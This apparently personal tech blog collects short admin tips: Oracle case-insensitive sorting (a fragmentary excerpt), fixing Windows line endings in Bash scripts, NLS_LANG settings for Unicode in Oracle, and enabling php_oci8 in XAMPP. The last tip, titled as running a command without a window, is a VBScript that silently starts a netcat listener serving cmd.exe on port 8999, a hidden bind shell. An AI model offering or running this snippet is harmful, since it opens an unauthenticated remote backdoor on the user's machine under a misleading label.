Oracle Case Insensitive Sorts & Compares

Features of Oracle 10gR2 but this article is very useful for me. It explain very clearly about case insensitive
Here is the content of article
Thank you! Natalka Roshak.

To get us started, here's a simple sample table with a few rows in it.

SQL> select * from invoice_demo order by invoice_id
SQL> /

      1001 MAX BOOKS

Linux - Can't run Bash script .sh created on window system

I have a very simple .sh file, it contains some delete command to delete some files.
I create this file on Window then upload to Linux server to run.
I've already change Execute mode for this file but can not run it.

This is the important reason & an important experience :)

Because my file is created on window, so it will be saved with window format --> You have to convert it to Linux format if you want to run it.

- Open your file in Linux server: vi yourfile.sh
- Run this command to convert :set fileformat=unix

Insert unicode character into Oracle

1. Check & set some database parameters

select * from nls_database_parameters where parameter like '%SET';

2. Set environment in your PC or your Server (important)

2.1. Your PC (window)
- Right click to MyComputer > Properties > Advance system settings > Environment variables > system variables
- Click new, add new variable:
name: NLS_LANG
value: AMERICAN_AMERICA.AL32UTF8

- Try to log out/ log in again or restart your PC

2.2. Your linux server

Run command:

export NLS_LANG=AMERICAN_AMERICA.AL32UTF8

Or insert this command at the end of /etc/profile

Configure at the end of file: php/etc/php-fpm.conf

env[NLS_LANG] = $NLS_LANG

Restart php-fpm

Enable php_oci8.dll on window

Because xampp does not have 64bit version for window
So, here is the solution to resolve some issues below:
1. Warning: PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - %1 is not a valid Win32 application.
2. PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - The specified module could not be found.

Solution:
1. Download oracle instanceclient 32bit
http://www.oracle.com/technetwork/topics/winsoft-085727.html
(instantclient-basic-nt-12.1.0.2.0.zip)

2. Extract instantclient (Ex: D:\instantclient_12_1)

3. Configure Windows PATH environment variable, add more:
D:\xampp\php\ext;D:\instantclient_12_1

4. Configure php.ini, enable extension php_oci.dll
extension=php_oci8.dll (remove ; character)
Note: check your oracleclient version (11g, 12c, ...), if cannot enable php_oci8, try to download files from here: http://windows.php.net/downloads/pecl/releases/oci8/2.0.8/php_oci8-2.0.8-5.6-ts-vc11-x86.zip
extract those files to xampp/php/ext/ folder, then restart apache again

5. Restart xampp or restart PC (if necessary)

6. Check again
C:\Users\namdt5>php -m | find "oci"
oci8

Done.

run a command without open a command window

Use notepad, create a file such as: test.vbs
Content of the file:

Set oShell = CreateObject ("Wscript.Shell")

Dim strArgs
strArgs = "F:\programs\nc\nc.exe -nlvp 8999 -e cmd.exe"
oShell.Run strArgs, 0, false
